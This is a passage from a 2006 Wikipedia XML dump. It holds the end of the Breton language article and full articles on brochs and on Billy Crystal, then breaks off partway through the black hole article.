Visitors to Brittany may encounter words and phrases (especially on signs and posters) such as the following:

&lt;table cellspacing=&quot;7px&quot;&gt;
&lt;tr&gt;&lt;td&gt;'''BRETON'''&lt;/td&gt; &lt;td&gt;'''ENGLISH'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;degemer mat&lt;/td&gt; &lt;td&gt;welcome&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;deuet mat oc'h&lt;/td&gt; &lt;td&gt;you're welcome&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;Breizh&lt;/td&gt; &lt;td&gt;Brittany&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;brezhoneg&lt;/td&gt; &lt;td&gt;Breton ''(language)''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ti, &quot;ty&quot;&lt;/td&gt; &lt;td&gt;house&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ti-kêr&lt;/td&gt; &lt;td&gt;town hall&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;kreiz-kêr&lt;/td&gt; &lt;td&gt;town centre&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;da bep tu&lt;/td&gt; &lt;td&gt;all directions&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;skol&lt;/td&gt; &lt;td&gt;school&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;skol-veur&lt;/td&gt; &lt;td&gt;university&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;[[bagad]]&lt;/td&gt; &lt;td&gt;pipe band ''(nearly)''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;fest-noz&lt;/td&gt; &lt;td&gt;[[ceilidh]], traditional concert/dance&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;kenavo&lt;/td&gt; &lt;td&gt;goodbye&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;krampouezh&lt;/td&gt; &lt;td&gt;pancakes&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;chistr&lt;/td&gt; &lt;td&gt;cider&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;war vor atao&lt;/td&gt; &lt;td&gt;always at sea&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;

==External links==
{{InterWiki|code=br}}
{{commons|Category:Breton language|Breton language}}
*[http://www.kervarker.org/ Breton site including online lessons]
*[http://skol.keravon.com/ Breton site with learners' forum and lessons (mostly in French with some English)]
*[http://www.frenchentree.com/france-brittany-culture-traditions/DisplayArticle.asp?ID=6980 The Breton Language]
*[http://www.breizh.net/saozneg/mahtmls.php 100 Words relating to the internet in Breton]
*[http://www.cuab.org/ Bretagne Réunie ]

[[Category:Brittany]]
[[Category:Brythonic languages]]
[[Category:Languages of France]]
[[Category:Minority languages]]

[[af:Bretons (taal)]]
[[als:Bretonisch]]
[[ast:Bretón]]
[[br:Brezhoneg]]
[[ca:Bretó]]
[[cs:Bretonština]]
[[cy:Llydaweg]]
[[da:Bretonsk]]
[[de:Bretonische Sprache]]
[[eo:Bretona lingvo]]
[[es:Idioma bretón]]
[[eu:Bretoiera]]
[[fi:Bretoni]]
[[fr:Breton]]
[[ga:Briotáinis]]
[[gl:Lingua bretoa]]
[[he:ברטונית]]
[[id:Bahasa Breton]]
[[it:Lingua bretone]]
[[ja:ブルトン語]]
[[kw:Bretonek]]
[[la:Lingua Armoricana (breton)]]
[[li:Bretoens]]
[[nl:Bretons]]
[[oc:Breton]]
[[pl:Język bretoński]]
[[ro:Limba bretonă]]
[[ru:Бретонский язык]]
[[sl:Bretonščina]]
[[sv:Bretonska]]
[[wa:Burton]]
[[zh:布列塔尼语]]</text>
    </revision>
  </page>
  <page>
    <title>Broch</title>
    <id>4648</id>
    <revision>
      <id>36284968</id>
      <timestamp>2006-01-23T00:07:03Z</timestamp>
      <contributor>
        <ip>72.56.118.28</ip>
      </contributor>
      <comment>no patronizing, please</comment>
      <text xml:space="preserve">[[Image:Dun Carloway.jpg|thumb|250px|right|[[Dun Carloway]] broch, [[Lewis]], Scotland]]

The '''Broch''' is an [[Iron Age]] [[round tower]] fortification type unique to [[Scotland]].

The origin of brochs remains a mystery. Some archaeologists believed the brochs were built by an influx of broch builders who had been displaced and pushed northward during the Roman invasion of Britain. However, this theory has been largely disproven and current thought is that they were built by itinerant craftsmen since so many were built to almost the same exact design. The youngest surviving broch at Mousa dates from 100BC to 100AD with most being older. The distribution of brochs is centred on north west Scotland although isolated examples occur in the [[Scottish Borders|borders]] (for example [[Edin's Hall Broch]]) and near [[Stirling]].

Early in the use of a broch (from the middle of the [[1st millennium BC]] until the early [[3rd century]] AD) they would be used purely as defensive structures, places of refuge for communities and their livestock. As the Iron Age slowly gave way to the early [[Medieval]] period, however, it seems the defensive value of the broch design was lost. They became the [[stately home|Stately homes]] of their time, objects of prestige and superiority for rich merchants.

A typical broch is 20 metres in diameter, with 3 metre thick walls. On average, the walls only survive to 4 metres. More often than not, the walls are hollow, containing flat storage spaces (called galleries or cells) and steps to higher floors. Beside the door, it is normal for there to be a cell breaking off from the passage into the central space; this is known as the guard cell although there is no evidence it had any defensive value. However, it has been found in some Shetland brochs that guard cells in entrance passageways are close to large door-check stones.

On the [[Orkney Islands|Orkney]] and [[Shetland Islands|Shetland]] Islands there are very few cells at ground floor level. However, brochs in this region have scarcements (ledges) which would have allowed the construction of a very sturdy first floor.

[[Image:Scotland Glenelg broch.jpg|thumb|Dun Telve broch, [[Glenelg, Scotland|Glenelg]], Scotland]]

Brochs were always placed in locations which were easily defended, close to [[arable land]] and a source of water (many have deep wells or natural springs rising within their central space). They are often built beside the sea and on the site of previous dwellings such as [[Roundhouse (dwelling)|roundhouses]].

Some good examples of brochs on [[Shetland Islands|Shetland]] are [[Mousa Broch]] (the walls here are fully intact, standing some 13m high), at [[Clickimin]] in [[Lerwick]], at [[Levenwick]] and in [[Culswick]]. Elsewhere, in [[Glenelg, Scotland|Glenelg]] (a galleried dun can also be seen here) and at [[Dun Carloway]] on [[Lewis]].  The best brochs in the [[Orkney Islands]] are at [[Gurness]] and [[Midhowe]].

The Shetland Amenity Trust list about 120 sites in [[Shetland]] as candidate brochs.

The skills involved in broch building are currently being explored by drystone dyker [http://www.brochbuild.co.uk/ Irwin Campbell].

==See also==
* [[Atlantic Roundhouses]]
* [[Crannog]] 
* [[Hill fort]] 
* [[Dun]]
* [[Tower house]]

[[Category:Scottish archaeology]]
[[Category:Towers in the United Kingdom]]
[[de:Broch (Befestigung)]]
[[fr:Broch]]</text>
    </revision>
  </page>
  <page>
    <title>Billy Crystal</title>
    <id>4649</id>
    <revision>
      <id>41898272</id>
      <timestamp>2006-03-02T13:32:33Z</timestamp>
      <contributor>
        <username>Kchishol1970</username>
        <id>4428</id>
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      <minor />
      <comment>/* Career */  - correcting the quote</comment>
      <text xml:space="preserve">{{dablink|This article describes the American comedian. For the American political commentator, see [[Bill Kristol]].}}

[[Image:Billy-crystal.jpg|thumb|150px|Billy Crystal]]
'''Billy Crystal''' (born [[March 14]], [[1947]]) is an [[United States|American]] [[actor]], [[writer]], [[film producer|producer]], and [[film director]].

== Personal Life ==
Crystal was born in [[Long Beach, New York]] to [[Jewish]]-[[United States|American]] parents Jack and Helen Crystal. His father worked at, and later managed, the Commodore Music Shop. His uncle was record producer [[Milt Gabler]]. He went to [[Marshall University]] in [[Huntington, West Virginia]] on a baseball scholarship, having learned the game from his father, who pitched for St. John's University. Crystal, however never played a game at Marshall because the program was suspended during his freshman year and he didn't return as a sophomore, staying back in New York with his future wife. He has been married to Janice Goldfinger, with whom he has two daughters, since 1970.

== Career ==
Crystal returned to New York and studied film and television direction under [[Martin Scorsese]] at [[New York University]]. Crystal's earliest prominent role was as &quot;Jodie Dallas&quot; on ''[[Soap (TV series)|Soap]]'', one of the first [[List of television shows with lesbian, gay, bisexual, or transgendered characters|gay characters]] portrayed on American television. 

He was scheduled to appear on the first episode of ''[[Saturday Night Live]]'' (October 11, 1975), but his sketch was cut.  After hosting a show years later, in [[1984 in television|1984]], he joined the cast.  His most famous recurring sketch was his parody of [[Fernando Lamas]]. Crystal's &quot;Fernando&quot; is a smarmy talkshow host whose [[catch phrase]], &quot;You look mahvelous!&quot; became a media sensation.  
[[Image:Billy_crystal_on_hollywood_squares.jpg|thumb|160px|right|Crystal on ''[[Hollywood Squares]]''.]]
He appeared briefly in [[Rob Reiner]]'s [[1984 in film|1984]] &quot;[[rockumentary]]&quot; ''[[This Is Spinal Tap]]''. Eventually, Reiner directed Crystal again in The Princess Bride and then in the romantic comedy ''[[When Harry Met Sally...]]'', for which Crystal was nominated for a [[Golden Globe]].

Crystal wrote, directed and starred in ''[[Forget Paris]]'' ([[1995 in film|1995]]) and ''[[Mr. Saturday Night]]'' ([[1992 in film|1992]]). He directed the made for television movie [[61*]] based on [[Roger Maris]] and [[Mickey Mantle]]'s race to break [[Babe Ruth]]'s single-season home run record in 1961. This earned Crystal an [[Emmy]] nomination for ''Outstanding Directing for a Miniseries, Movie or a Special''.

In [[1986]], Crystal started hosting ''[[Comic Relief]]'' on [[Home Box Office|HBO]] with [[Robin Williams]], and [[Whoopi Goldberg]]. Comic Relief, which was founded in [[1986]] by [[Andy Kaufman]] sidekick [[Bob Zmuda]], raises money for homeless men, women and children in the [[United States]]. 

Crystal hosted the [[Academy Award]]s broadcast in [[1990]], [[1991]], [[1992]], [[1993]], [[1997]], [[1998]], [[2000]] and [[2004]], and, apparently, turned down the opportunity to host the [[2006]] ceremony wanting to concentrate on his one-man show.

During the 1992 Academy Awards broadcast, Crystal at one point during the show, looked squarely at the camera and said, &quot;Didn't inhale&quot;, a commentary on then Presidential candidate [[Bill Clinton]] (who had claimed that he &quot;didn't inhale&quot; when smoking [[marijuana]]). The line is considered by some as one of the funniest lines in Academy Awards history.

Crystal continued working, appearing in popular films such as &quot;Deconstructing Harry&quot; and then &quot;Analyze This&quot; with [[Robert De Niro]]. &quot;Analyze This&quot; even had a sequel, where both Crystal and De Niro returned, called &quot;Analyze That&quot;.

Crystal is preparing for the national tour of his hit solo show ''[[700 Sundays]]''. The two-act play, which he conceived and wrote, is about his parents and his childhood growing up on [[Long Island]]. Crystal won the 2005 [[Tony Award]] for Best Special Theatrical Event for ''700 Sundays'' and will bring the show back to Broadway for a limited run in 2006. 

Following the initial success of the play, Crystal wrote the book ''700 Sundays'' for [[Warner Books]], which was published on [[October 31]], [[2005]]. In conjunction with the book and the play, which also paid tribute to Gabler, Crystal produced two CD compilations: ''Billy Crystal Presents: The Milt Gabler Story'' featured the most influential recordings his uncle produced from [[Billie Holiday]]'s &quot;[[Strange Fruit]]&quot; to &quot;[[Rock Around the Clock]]&quot; by [[Bill Haley &amp; His Comets]]; ''Billy Remembers Billie'' featured Crystal's favorite Holiday recordings.

Crystal has lend his voice to an animated character in [[2001]]'s ''Monsters, Inc.'' as the voice of Mike, and in the English version of ''Howl's Moving Castle'' as the voice of [[Calcifer]].

On Tuesday [[September 6]], [[2005]] on [[The Tonight Show]] Crystal and [[Jay Leno]] were the first celebrities to sign a [[Harley-Davidson]] motorcycle to be auctioned off for Gulf Coast relief.

[[Image:CitySlickers.png|thumb|120px|right|Bill Crystal on ''City Slickers'' DVD cover]]

== Filmography ==
* ''[[Rabbit Test (1978)|Rabbit Test]]'' - (1978) as &quot;Lionel Carpenter&quot;
* ''[[Animalympics]]'' - (1980) (voiceover) as &quot;Lodge Turkell&quot;
* ''[[This Is Spinal Tap]]'' - (1984) as &quot;Morty the Mime&quot;
* ''[[Running Scared (film)|Running Scared]]'' - (1986) as &quot;Danny Costanzo&quot;
* ''[[The Princess Bride (film)|The Princess Bride]]'' - (1987) as &quot;Miracle Max&quot;
* ''[[Throw Momma from the Train]]'' - (1987) as &quot;Larry Donner&quot;
* ''[[Memories of Me]]'' - (1988) as Abbie
* ''[[When Harry Met Sally...]]'' - (1989) as &quot;Harry Burns&quot; 
* ''[[City Slickers]]'' (1991) as &quot;Mitch Robbins&quot; 
* ''[[Horton Hatches the Egg]]'' (1992) narrator (voice)
* ''[[Mr. Saturday Night]]'' (1992) as &quot;Buddy Young, Jr.&quot;
* ''[[City Slickers II: The Legend of Curly's Gold]]'' (1994) as &quot;Mitch Robbins&quot;
* ''[[Forget Paris]]'' (1995) as &quot;Mickey Gordon&quot; (also directed by Billy Crystal)
* ''[[Hamlet (1996 film)|Hamlet]]'' (1996) as &quot;First Gravedigger&quot;
* ''[[Deconstructing Harry]]'' (1997) as &quot;Larry/The Devil&quot;
* ''[[My Giant]]'' (1998) as &quot;Sam 'Sammy' Kamin&quot;
* ''[[Analyze This]]'' (1999) as &quot;Ben Sobel, M.D.&quot;
* ''[[America's Sweethearts]]'' (2001) as &quot;Lee Phillips&quot;
* ''[[Monsters, Inc.]]'' (2001) as &quot;Michael (Mike) Wazowski&quot; (voice)
* ''[[Analyze That]]'' (2002) as &quot;Ben Sobel, M.D.&quot;
* ''[[Howl's Moving Castle]]'' (2005) as &quot;Calcifer&quot; (voice)
* ''[[Have a Nice Day]]'' (2006)

==External links==
*{{imdb name|id=0000345|name=Billy Crystal}}

[[Category:1947 births|Crystal, Billy]]
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[[Category:American film actors|Crystal, Billy]]
[[Category:Impressionists|Crystal, Billy]]
[[Category:Jewish American actors|Crystal, Billy]]
[[Category:Long Islanders|Crystal, Billy]]
[[Category:Saturday Night Live cast members|Crystal, Billy]]
[[Category:American television actors|Crystal, Billy]]

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  <page>
    <title>Black hole</title>
    <id>4650</id>
    <revision>
      <id>42011243</id>
      <timestamp>2006-03-03T05:09:21Z</timestamp>
      <contributor>
        <username>MegaHasher</username>
        <id>739613</id>
      </contributor>
      <comment>added a reference</comment>
      <text xml:space="preserve">{{dablink|This article is about an object in [[astrophysics]]. For other uses, see [[Black hole (disambiguation)]].}}
{{General relativity}}
:''For any questions on black holes see [[Black hole FAQ]]''

A '''black hole''' is a concentration of [[mass]] great enough that the force of gravity prevents anything from escaping it except through [[quantum tunnelling]] behaviour (known as [[Hawking Radiation]]). The [[gravitational field]] is so strong that the [[escape velocity]]  near it exceeds the [[speed of light]]. This implies that nothing, not even [[light]], can escape its [[gravity]]. The term &quot;black hole&quot; is widespread, even though it does not refer to a ''hole'' in the usual sense, but rather a region of [[space]] from which nothing can return.

The existence of black holes in the [[universe]] is well supported by astronomical observation, particularly from studying [[X-ray]] emission from [[X-ray binaries]] and [[active galactic nuclei]].

==History==
The concept of a body so massive that not even light could escape it was put forward by the [[England|English]] [[geologist]] [[John Michell]] in a 1783 paper sent to the [[Royal Society]]. At that time, the [[Isaac Newton|Newtonian]] theory of [[gravity]] and the concept of [[escape velocity]] were well known. Michell computed that a body 500 times the [[radius]] of the Sun and of the same [[density]] would have, at its surface, an escape velocity equal to the [[speed of light]], and therefore would be [[invisible]]. In his words:
: ''If the semi-diameter of a sphere of the same density as the Sun were to exceed that of the Sun in the proportion of 500 to 1, a body falling from an infinite height towards it would have acquired at its surface greater velocity than that of light, and consequently supposing light to be attracted by the same force in proportion to its vis inertiae (inertial mass), with other bodies, all light emitted from such a body would be made to return towards it by its own proper gravity.''

Although he thought it unlikely, Michell considered the possibility that many such objects that cannot be seen might be present in the cosmos.

In 1796, the [[France|French]] mathematician [[Pierre-Simon Laplace]] promoted the same idea in the first and second edition of his book ''[[Exposition du Systeme du Monde]].'' It disappeared in later editions. The whole idea gained little attention in the 19th century, since light was thought to be a massless wave, not influenced by gravity.

In 1915, [[Albert_Einstein|Einstein]] developed the theory of gravity called [[General relativity|General Relativity]]. Earlier he had shown that gravity does influence light. A few months later, [[Karl Schwarzschild]] gave the [[Schwarzschild metric| solution]] for the gravitational field of a point mass, showing that something we now call a black hole could theoretically exist. The [[Schwarzschild radius]] is now known to be the radius of the [[event horizon]] of a non-rotating black hole, but this was not well understood at that time. Schwarzschild himself thought it was not physical.

In the 1920s, [[Subrahmanyan Chandrasekhar]] argued that special relativity demonstrated that a non-radiating body above 1.44 solar masses, now known as the [[Chandrasekhar limit]], would collapse since there was nothing known at that time that could stop it from doing so.  His arguments were opposed by [[Arthur Eddington]], who believed that something would inevitably stop the collapse.  Both were correct, since a [[white dwarf]] more massive than the Chandrasekhar limit will collapse into a [[neutron star]].  However, a neutron star above about three solar masses will itself become unstable against collapse due to similar physics.

In 1939, [[Robert Oppenheimer]] and H. Snyder predicted that massive stars could undergo a dramatic [[gravitational collapse]]. Black holes could, in principle, be formed in nature. Such objects for a while were called '''frozen stars''' since the collapse would be observed to rapidly slow down and become heavily [[redshift|redshifted]] near the Schwarzschild radius.  The mathematics showed that an outside observer would see the surface of the star frozen in time at the instant where it crosses that radius.  However, these hypothetical objects were not the topic of much interest until the late 1960s.  Most physicists believed that they were a peculiar feature of the highly symmetric solution found by Schwarzschild, and that objects collapsing in nature would not form black holes.

Interest in black holes was rekindled in 1967 because of theoretical and experimental progress. [[Stephen Hawking]] and [[Roger Penrose]] proved that black holes are a generic feature in Einstein's theory of gravity, and cannot be avoided in some collapsing objects. Interest was renewed in the astronomical community with the discovery of [[pulsar]]s. Shortly thereafter, the use of the expression &quot;black hole&quot; was coined by theoretical physicist [[John Archibald Wheeler|John Wheeler]] [http://www.truephysics.com/timeline/timeline1961_1980.html]. The older Newtonian objects of Michell and Laplace are often referred to as &quot;[[dark star]]s&quot; to distinguish them from the &quot;black holes&quot; of general relativity.

==Evidence==

[[Image:Black_Hole_Milkyway.jpg|thumb|250px|A (simulated) Black Hole of ten solar masses as seen from a distance of 600km with the Milky Way in the background (horizontal camera opening angle: 90°).]]
===Formation===
General relativity (as well as most other metric theories of gravity) not only says that black holes ''can'' exist, but in fact predicts that they will be formed in nature whenever a sufficient amount of mass gets packed in a given region of space, through a process called [[gravitational collapse]].  For example, if you compressed the Sun to a radius of three kilometers, about four millionths of its present size, it would become a black hole. As the mass inside the given region of space increases, its gravity becomes stronger &amp;mdash; or, in the language of relativity, the space around it becomes increasingly deformed.  Eventually gravity gets so strong that nothing can escape; an [[event horizon]] is formed, and matter and energy must inevitably collapse into a [[gravitational singularity|singularity]].

A quantitative analysis of this idea led to the prediction that a star remaining about three to five times the mass of the Sun (the [[Tolman-Oppenheimer-Volkoff limit]]) at the end of its [[stellar evolution|evolution]], will almost inevitably shrink to the critical size needed to undergo a gravitational collapse.  Once collapse starts, it cannot be stopped by any physical force, and a black hole is created.  This is because there is a limit to the strength of materials due to the fact that the speed of sound, related to the materials stiffness, cannot be greater than the speed of light.

Stellar collapse will generate black holes containing at least three [[solar mass]]es.  Black holes smaller than this limit can only be created if their matter is subjected to sufficient pressure from some source other than self-gravitation.  The enormous pressures needed for this are thought to have existed in the very early stages of the universe, possibly creating [[primordial black hole]]s which could have masses smaller than that of the Sun.

[[Supermassive black hole]]s are believed to exist in the centres of most [[galaxy|galaxies]], including our own [[Milky Way]]. This type of black hole contains millions to billions of solar masses, and there are several models of how they might have been formed. The first is via gravitational collapse of a dense cluster of stars. A second is by large amounts of mass accreting onto a &quot;seed&quot; black hole of stellar mass. A third is by repeated fusion of smaller black holes.  Finally it may be possible to construct such a black hole by the collapse of a large gas cloud via an intermediate stage of a relativistic star.

Certain models of [[theory of everything|unification]] of the [[fundamental interaction|four fundamental forces]] allow the formation of [[micro black hole]]s under laboratory conditions. These postulate that the energy at which [[gravity]] is unified with the other forces is comparable to the energy at which the other three are [[grand unification theory|unified]], as opposed to being the [[Planck energy]] (which is much higher). This would allow production of extremely short-lived black holes in terrestrial [[particle accelerator]]s. No conclusive evidence of this type of black hole production has been presented, though even a negative result improves constraints on [[compactification (physics)|compactification]] of extra dimensions from [[string theory]] or other models of physics.

===Observation===
[[Image:Black hole jet diagram.jpg|right|350px|thumb|Formation of extragalactic jets from a black hole's accretion disk]]
In theory, no object beyond the event horizon of a black hole can ever escape, including light.  However, black holes can be inductively detected from observation of phenomena near them, such as [[gravitational lensing]], [[galactic jets]], and stars that appear to be in orbit around space where there is no visible matter.

The most conspicuous effects are believed to come from matter accreting onto a black hole, which is predicted to collect into an extremely hot and fast-spinning [[accretion disk]].  The internal viscosity of the disk causes it to become extremely hot, and emit large amounts of [[X-ray]] and [[ultraviolet]] radiation. This process is extremely efficient and can convert about 50% of the [[rest mass]] energy of an object into radiation, as opposed to nuclear fusion which can only convert a few percent of the mass to energy. Other observed effects, are narrow [[relativistic jet|jets]] of particles at relativistic speeds heading along the disk's axis.

However, accretion disks, jets, and orbiting objects are found not only around black holes, but also around other objects such as [[neutron star]]s and [[white dwarf]]s; and the dynamics of bodies near these non-black hole attractors is largely similar to that of bodies around black holes.  It is currently a very complex and active field of research involving [[magnetic field]]s and [[plasma physics]] to disentangle what is going on. Hence, for the most part, observations of accretion disks and orbital motions merely indicate that there is a compact object of a certain mass, and says very little about the nature of that object. The identification of an object as a black hole requires the further assumption that no other object (or bound system of objects) could be so massive and compact. Most astrophysicists accept that this is the case, since according to general relativity, any concentration of matter of sufficient density must necessarily collapse into a black hole.

One important observable difference between black holes and other compact massive objects is that any infalling matter will eventually collide with the latter at relativistic speeds, leading to emission as the kinetic energy of the matter is thermalised.  In addition [[thermonuclear]] &quot;burning&quot; may occur on the surface as material builds up.  These processes produce irregular intense flares of [[X-rays]] and other hard radiation.  Thus the lack of such flare-ups around a compact concentration of mass is taken as evidence that the object is a black hole, with no surface onto which matter can collect.

===Have we found them?===
[[Image:Cygnus-X-1.jpg|right|thumb|240px|Location of the X-ray source Cygnus X-1 which is likely to be a black hole|Location of the X-ray source [[Cygnus X-1]] which is widely accepted to be a 10 solar mass black hole orbiting a blue giant star]]

There is now a great deal of indirect astronomical observational evidence for black holes in two mass ranges:

*[[stellar black hole| stellar mass black holes]] with masses of a typical [[star]] (4&amp;ndash;15 times the mass of our Sun), and 
*[[supermassive black hole]]s with masses ranging from of order &lt;math&gt;10^5&lt;/math&gt; to &lt;math&gt;10^{10}&lt;/math&gt; solar masses.

Additionally, there is some evidence for [[intermediate-mass black hole]]s (IMBHs), those with masses of a few hundred to a few thousand times that of the Sun. These black holes may be responsible for the emission from [[Ultra Luminous X-ray Sources]] (ULX's).

Candidates for stellar-mass black holes were identified mainly by the presence of accretion disks of the right size and speed, without the irregular flare-ups that are expected from disks around other compact objects. Stellar-mass black holes may be involved in [[gamma ray burst]]s (GRBs), although observations of GRBs in association with [[Supernova|supernovae]] or other objects that are not black holes [http://liftoff.msfc.nasa.gov/academy/universe/plasma_univ.html] [http://www.wkap.nl/prod/b/0-7923-3784-0] have reduced the possibility of a link.

[[Image:Black Hole Merger.jpg|thumb|right|300px|An artist depiction of two black holes merging.]]

Candidates for more massive black holes were first provided by the [[active galactic nuclei]] and [[quasar]]s, discovered by [[radioastronomy|radioastronomers]] in the 1960s.  The efficient conversion of mass into energy by friction in the accretion disk of a black hole seems to be the only explanation for the copious amounts of energy generated by such objects. Indeed the introduction of this theory in the 1970s removed a major objection to the belief that quasars were distant galaxies &amp;mdash; namely, that no physical mechanism could generate that much energy.

From observations in the 1980s of motions of stars around the galactic centre, it is now believed that such supermassive black holes exist in the centre of most galaxies, including our own [[Milky Way]]. [[Sagittarius_A%2A|Sagittarius A*]] is now generally agreed to be the location of a supermassive black hole at the centre of the Milky Way galaxy. The orbits of stars within a few [[Astronomical Unit|AU]] of Sagittarius A* rule out any object other than a black hole at the centre of the Milky Way assuming the current standard laws of physics are correct.

[[Image:M87_jet.jpg|left|thumb|The jet emitted by the galaxy [[Elliptical Galaxy M87|M87]] in this image is thought to be caused by a [[supermassive black hole]] at the galaxy's centre]]

The current picture is that all galaxies may have a supermassive black hole in their centre, and that this black hole accretes gas and dust in the middle of the galaxies generating huge amounts of radiation &amp;mdash; until all the nearby mass has been swallowed and the process shuts off. This picture also nicely explains why there are no nearby [[quasar]]s.

Although the details are still not clear, it seems that the growth of the black hole is intimately related to the growth of the spheroidal component &amp;mdash; an [[elliptical galaxy]], or the [[bulge]] of a [[spiral galaxy]] &amp;mdash; in which it lives.

In 2002, the Hubble Telescope has identified evidence indicating that intermediate size black holes exist in [[globular clusters]] named M15 and G1. The evidence for the black holes stemmed from the orbital velocity of the stars in the globular clusters; however, a group of [[neutron star]]s could cause similar observations.

===Recent discoveries===
In 2004, astronomers found 31 candidate supermassive black holes from searching obscured [[quasar]]s. The lead scientist said that there are from two to five times as many supermassive black holes as previously predicted. [http://physicsweb.org/articles/news/8/6/1]

In June 2004 astronomers found a super-massive black hole, [[Q0906+6930]], at the centre of a distant [[galaxy]] about 12.7 billion light years away. This observation indicated rapid creation of super-massive black holes in the early universe. [http://www.space.com/scienceastronomy/heavy_blazar_040628.html].

In November 2004 a team of astronomers reported the discovery of the first [[intermediate-mass black hole]] in our Galaxy, orbiting three light-years from Sagittarius A*.  This medium black hole of 1,300 solar masses is within a cluster of seven stars, possibly the remnant of a massive star cluster that has been stripped down by the Galactic Centre [http://www.nature.com/news/2004/041108//full/041108-2.html#B2 (Nature News)] [http://edpsciences.nao.ac.jp/articles/aa/abs/2004/31/aa0147-03/aa0147-03.html (original article)]. This observation may add support to the idea that supermassive black holes grow by absorbing nearby smaller black holes and stars.

In February 2005, a [[blue giant]] [[star]] [[SDSS J090745.0+24507]] was found to be leaving the [[Milky Way]] at twice the escape velocity (0.0022 of the speed of light). The path of the star can be traced back to the galactic core. The high velocity of this star supports the hypothesis of a super-massive black hole in the centre of the galaxy.

The formation of [[micro black hole]]s on Earth in [[particle accelerators]] has been tentatively reported, (see, for example, [http://news.bbc.co.uk/2/hi/science/nature/4357613.stm]) but not yet confirmed. So far there are no observed candidates for [[primordial black hole|primordial black holes]].

==Features and theories==
Black holes require the [[general relativity|general relativistic]] concept of a curved [[spacetime]]: their most striking properties rely on a distortion of the geometry of the space surrounding them. 

===Event horizon===
The &quot;surface&quot; of a black hole is the so-called ''[[event horizon]],'' an imaginary surface surrounding the mass of the black hole.  [[Stephen Hawking]] proved that the topology of the event horizon of a non-spinning black hole is a sphere.  At the event horizon, the [[escape velocity]] is equal to the speed of light. Thus, anything inside the event horizon, including a [[photon]], is prevented from escaping across the event horizon by the extremely strong gravitational field. Particles from outside this region can fall in, cross the event horizon, and will never be able to leave.

Since external observers cannot probe the interior of a black hole, according to classical general relativity, black holes can be entirely characterised according to three parameters: [[mass]], [[angular momentum]], and [[electric charge]].  This principle is summarised by the saying, coined by [[John Wheeler]], &quot;[[no hair theorem|black holes have no hair]]&quot;.

===Space-time distortion and frame of reference===
Objects in a gravitational field experience a slowing down of [[time]], called [[time dilation]]. This phenomenon has been verified experimentally in the [[Scout rocket experiment]] of 1976 [http://hyperphysics.phy-astr.gsu.edu/hbase/relativ/gratim.html], and is, for example, taken into account in the [[Global Positioning System|GPS]] system. Near the event horizon, the time dilation increases rapidly. To the distant observer, a falling object's movement slows down, approaches but never reaches the event horizon. Any escaping photons do not slow down when escaping the [[gravity well]] but experience [[redshift]]ing. From the falling object's [[frame of reference]], it will cross the event horizon and reach the singularity, at the centre of the black hole within a finite amount of time.

===Inside the event horizon===
Spacetime inside the event horizon of an uncharged non-rotating black hole is peculiar in that the singularity is in every observer's future, so all particles within the event horizon move inexorably towards it ([[Roger_Penrose|Penrose]] and [[Stephen_Hawking|Hawking]]).  This means that there is a conceptual inaccuracy in the nonrelativistic concept of a black hole as originally proposed by John Michell in 1783. In Michell's theory, the escape velocity equals the speed of light, but it would still, for example, be theoretically possible to hoist an object out of a black hole using a rope. General relativity eliminates such loopholes, because once an object is inside the event horizon, its time-line contains an end-point to time itself, and no possible [[world line|world-lines]] come back out through the event horizon. A consequence of this is that a pilot in a powerful rocket ship that had just crossed the event horizon who tried to accelerate away from the singularity would reach it sooner in his frame, since [[geodesics]] (unaccelerated paths) are paths that maximise proper time. [http://cosmology.berkeley.edu/Education/BHfaq.html]

As the object continues to approach the singularity, it will be stretched radially with respect to the black hole and compressed in directions perpendicular to this axis. This phenomenon, called [[spaghettification]], occurs as a result of [[tidal force]]s: the parts of the object closer to the singularity feel a stronger pull towards it (causing stretching along the axis), and all parts are pulled in the direction of the singularity, which is only aligned with the object's average motion along the axis of the object (causing compression towards the axis).

===Singularity===
At the centre of the black hole, well inside the event horizon, general relativity predicts a [[Gravitational singularity|singularity]], a place where the curvature of spacetime becomes infinite and gravitational forces become infinitely strong.

It is expected that future refinements or generalisations of general relativity (in particular [[quantum gravity]]) will change what is thought about the nature of black hole interiors. Most theorists interpret the mathematical singularity of the equations as indicating that the current theory is not complete, and that new phenomena must come into play as one approaches the singularity. {{ref|smolin1}}

The [[cosmic censorship hypothesis]] asserts that there are no [[naked singularity|naked singularities]] in general relativity.  This hypothesis is that every singularity is hidden behind an event horizon and cannot be probed.  Whether this hypothesis is true or not remains an active area of theoretical research.

Another school of thought[http://arxiv.org/abs/astro-ph/0506506] holds that no singularity occurs, because of a bubble-like local inflation in the interior of the collapsing star. Radii stop converging as they approach the event horizon, are parallel at the horizon, and begin diverging in the interior. The solution resembles a [[wormhole]] (from the exterior to the interior) in a neighbourhood of the horizon, with the horizon as the neck.

===Rotating black holes===
{{main|rotating black hole}}
[[Image:Accretion_disk.jpg|thumb|right|An artist's impression of a black hole with a closely orbiting companion star that exceeds its [[Roche limit]]. In-falling matter forms an [[accretion disk]], with some of the matter being ejected in highly energetic polar jets.]]

